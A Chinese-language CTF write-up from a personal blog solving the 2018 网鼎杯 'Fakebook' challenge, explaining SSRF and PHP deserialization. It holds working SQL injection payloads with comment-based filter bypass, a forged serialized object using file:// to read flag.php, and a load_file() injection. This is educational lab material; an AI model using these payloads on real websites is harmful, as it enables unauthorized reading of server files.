网鼎杯2018 Fakebook

Fakebook

知识点:

  • ssrf

  • php反序列化

ssrf

(Server-Side Request Forgery,服务器端请求伪造):通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。

利用方式:

  1. 让服务端去访问相应的网址

  2. 让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms

  3. 可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件

  4. 攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})

  5. 攻击内网应用程序(利用跨协议通信技术)

  6. 判断内网主机是否存活:方法是访问看是否有端口开放

  7. DoS攻击(请求大文件,始终保持连接keep-alive always)

参考:https://xz.aliyun.com/t/2115

解题

填上自己的信息后提交。

发现在列表中可以点击name查看刚才提交的信息

由于buu的靶场不能访问外网的原因,the contents of his/her blog没办法解析我的网址。但问题不大。

然后发现在url中no处存在sql注入

常规报错注入后发现在data里

到这一步可以猜测,用户信息应该是被序列化存储在data里,然后在view.php反序列化数据库中的data字段,将blog地址取出并加载,因此这一步可能存在ssrf。

所以根据data里的字段用file://构造读取/var/www/html/flag.php(路径在报错时有看到

/view.php?no=0 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

然后在iframe处就能得到base64编码后的flag

或者这道题可以从robots.txt处得到user.php的源码

<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

然后根据no处的sql漏洞得到被序列化的猜想,再构造就可以了

<?php

class UserInfo
{
public $name = "test";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$hhh=new UserInfo();
echo serialize($hhh);

load_file

这题没有禁load_file…直接读文件就可以了

?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),1,1

我下次一定fuzz 呜呜呜

Author: Neorah
Link: https://neorah.me/ctf/%E7%BD%91%E9%BC%8E%E6%9D%AF2018/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.